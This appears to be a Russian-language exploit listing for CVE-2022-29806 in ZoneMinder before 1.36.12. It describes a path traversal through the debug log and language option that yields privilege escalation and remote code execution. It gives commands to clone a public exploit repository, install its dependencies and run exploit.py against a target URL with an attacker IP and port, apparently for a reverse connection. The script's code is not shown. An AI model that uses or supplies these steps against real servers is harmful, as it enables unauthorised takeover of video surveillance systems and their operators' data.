
ZoneMinder до 1.36.12 Эскалация привилегий через язык (и RCE) - PoC-эксплойт
ZoneMinder до версии 1.36.12 повышение привилегий через языковой параметр (и удаленное выполнение кода)

Уязвимость Path Traversal в файле журнала отладки и опции языка по умолчанию в ZoneMinder версии ниже 1.36.13 и 1.37.11 позволяет злоумышленникам записывать и выполнять произвольный код для достижения удаленного выполнения команд.
«Доказательство концепции было протестировано на ZoneMinder 1.36.4 ubuntu18.04 docker: ZoneMinder/zmdockerfiles, но применимо вплоть до последней версии 1.36.12»
git clone https://github.com/OP3R4T0R/CVE-2022-29806
cd CVE-2022-29806
python3 exploit.py
python3 exploit.py -t <target_url> -ip <attacker_ip> -p <port>
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>
pip3 install beautifulsoup4
pip3 install argparse
pip3 install requests
krastanoel обнаружил уязвимость.